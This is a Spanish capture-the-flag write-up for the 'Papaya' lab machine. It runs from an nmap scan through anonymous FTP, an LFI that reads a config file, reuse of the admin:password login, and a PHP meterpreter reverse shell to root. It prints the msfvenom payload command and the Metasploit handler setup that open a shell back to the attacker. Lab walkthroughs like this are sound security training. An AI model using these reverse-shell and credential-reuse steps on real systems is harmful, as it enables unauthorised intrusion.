Enlace
https://thehackerslabs.com/papaya/
Reconocimiento
nmap -A 192.168.1.175 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 11:18 EDT
Nmap scan report for papaya.localdomain (192.168.1.175)
Host is up (0.00024s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 19 Jul 2 15:26 secret.txt
| fingerprint-strings:
| GenericLines:
| 220 Servidor ProFTPD (Debian) [::ffff:192.168.1.175]
| Orden incorrecta: Intenta ser m
| creativo
| Orden incorrecta: Intenta ser m
| creativo
| Help:
| 220 Servidor ProFTPD (Debian) [::ffff:192.168.1.175]
| 214-Se reconocen las siguiente
| rdenes (* =>'s no implementadas):
| XCWD CDUP XCUP SMNT* QUIT PORT PASV
| EPRT EPSV ALLO RNFR RNTO DELE MDTM RMD
| XRMD MKD XMKD PWD XPWD SIZE SYST HELP
| NOOP FEAT OPTS HOST CLNT AUTH* CCC* CONF*
| ENC* MIC* PBSZ* PROT* TYPE STRU MODE RETR
| STOR STOU APPE REST ABOR RANG USER PASS
| ACCT* REIN* LIST NLST STAT SITE MLSD MLST
| comentario a root@papaya
| NULL, SMBProgNeg, SSLSessionReq:
|_ 220 Servidor ProFTPD (Debian) [::ffff:192.168.1.175]
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 bb:05:10:69:18:eb:e3:44:2c:a7:68:98:d0:97:01:20 (ECDSA)
|_ 256 65:41:aa:54:a6:b7:f7:2a:04:2e:c4:6a:c0:4d:10:35 (ED25519)
80/tcp open http Apache httpd 2.4.59
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Did not follow redirect to http://papaya.thl/
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/8%Time=66DDC069%P=x86_64-pc-linux-gnu%r(NU
SF:LL,36,"220\x20Servidor\x20ProFTPD\x20\(Debian\)\x20\[::ffff:192\.168\.1
SF:\.175\]\r\n")%r(GenericLines,98,"220\x20Servidor\x20ProFTPD\x20\(Debian
SF:\)\x20\[::ffff:192\.168\.1\.175\]\r\n500\x20Orden\x20incorrecta:\x20Int
SF:enta\x20ser\x20m\xc3\xa1s\x20creativo\r\n500\x20Orden\x20incorrecta:\x2
SF:0Intenta\x20ser\x20m\xc3\xa1s\x20creativo\r\n")%r(Help,274,"220\x20Serv
SF:idor\x20ProFTPD\x20\(Debian\)\x20\[::ffff:192\.168\.1\.175\]\r\n214-Se\
SF:x20reconocen\x20las\x20siguiente\x20\xc3\xb3rdenes\x20\(\*\x20=>'s\x20n
SF:o\x20implementadas\):\r\n\x20CWD\x20\x20\x20\x20\x20XCWD\x20\x20\x20\x2
SF:0CDUP\x20\x20\x20\x20XCUP\x20\x20\x20\x20SMNT\*\x20\x20\x20QUIT\x20\x20
SF:\x20\x20PORT\x20\x20\x20\x20PASV\x20\x20\x20\x20\r\n\x20EPRT\x20\x20\x2
SF:0\x20EPSV\x20\x20\x20\x20ALLO\x20\x20\x20\x20RNFR\x20\x20\x20\x20RNTO\x
SF:20\x20\x20\x20DELE\x20\x20\x20\x20MDTM\x20\x20\x20\x20RMD\x20\x20\x20\x
SF:20\x20\r\n\x20XRMD\x20\x20\x20\x20MKD\x20\x20\x20\x20\x20XMKD\x20\x20\x
SF:20\x20PWD\x20\x20\x20\x20\x20XPWD\x20\x20\x20\x20SIZE\x20\x20\x20\x20SY
SF:ST\x20\x20\x20\x20HELP\x20\x20\x20\x20\r\n\x20NOOP\x20\x20\x20\x20FEAT\
SF:x20\x20\x20\x20OPTS\x20\x20\x20\x20HOST\x20\x20\x20\x20CLNT\x20\x20\x20
SF:\x20AUTH\*\x20\x20\x20CCC\*\x20\x20\x20\x20CONF\*\x20\x20\x20\r\n\x20EN
SF:C\*\x20\x20\x20\x20MIC\*\x20\x20\x20\x20PBSZ\*\x20\x20\x20PROT\*\x20\x2
SF:0\x20TYPE\x20\x20\x20\x20STRU\x20\x20\x20\x20MODE\x20\x20\x20\x20RETR\x
SF:20\x20\x20\x20\r\n\x20STOR\x20\x20\x20\x20STOU\x20\x20\x20\x20APPE\x20\
SF:x20\x20\x20REST\x20\x20\x20\x20ABOR\x20\x20\x20\x20RANG\x20\x20\x20\x20
SF:USER\x20\x20\x20\x20PASS\x20\x20\x20\x20\r\n\x20ACCT\*\x20\x20\x20REIN\
SF:*\x20\x20\x20LIST\x20\x20\x20\x20NLST\x20\x20\x20\x20STAT\x20\x20\x20\x
SF:20SITE\x20\x20\x20\x20MLSD\x20\x20\x20\x20MLST\x20\x20\x20\x20\r\n214\x
SF:20Env\xc3\xada\x20comentario\x20a\x20root@papaya\r\n")%r(SSLSessionReq,
SF:36,"220\x20Servidor\x20ProFTPD\x20\(Debian\)\x20\[::ffff:192\.168\.1\.1
SF:75\]\r\n")%r(SMBProgNeg,36,"220\x20Servidor\x20ProFTPD\x20\(Debian\)\x2
SF:0\[::ffff:192\.168\.1\.175\]\r\n");
Service Info: Hosts: Servidor, 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.98 seconds
Enumeración
21/tcp open ftp
Probamos el usuario anonymous
Aplicación Web
Chequeamos con whatweb
Buscamos la aplicación con searchsploit
Ejecutamos Dirb para listar posibles directorios
Encontramos varios directorios entre los mas destacables tenemos
http://papaya.thl/themes/prueba/prueba.php
Aprovechando la vulnerabilidad LFI encontrada leemos el archivo /var/www/html/elkarte/Settings.php usando BurpSuite codificamos la parte de la url donde va el comando, allí vemos información interesante
Ya que vemos en el archivo de configuración que el usuario de la bd tiene clave password, probamos en la web admin:password, con lo cual tenemos acceso
Usando la información anterior sobre el exploit, subimos un reverse Shell de metasploit para obtener una consola meterpreter
msfvenom -p php/meterpreter/reverse_tcp LHOST=<$LOCAL_IP> LPORT=<$LOCAL_PORT> -f raw -o shell.php
con eso creamos el archivo
use exploit/multi/handler
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
set PAYLOAD php/meterpreter/reverse_tcp
exploit
configuramos metasploit y seguimos las instrucciones de https://www.exploit-db.com/exploits/52026
Ya con la consola activa bajamos y ejecutamos linpeas https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS para escanear el sistema y ver posibles oportunidades para escalado de privilegios
Primero verificamos el archivo pass.zip que se encuentra encriptado
Obtenemos acceso al usuario papaya
Volviendo a linpeas esta vez ejecutado con el usuario papaya encontramos
¡Tenemos root!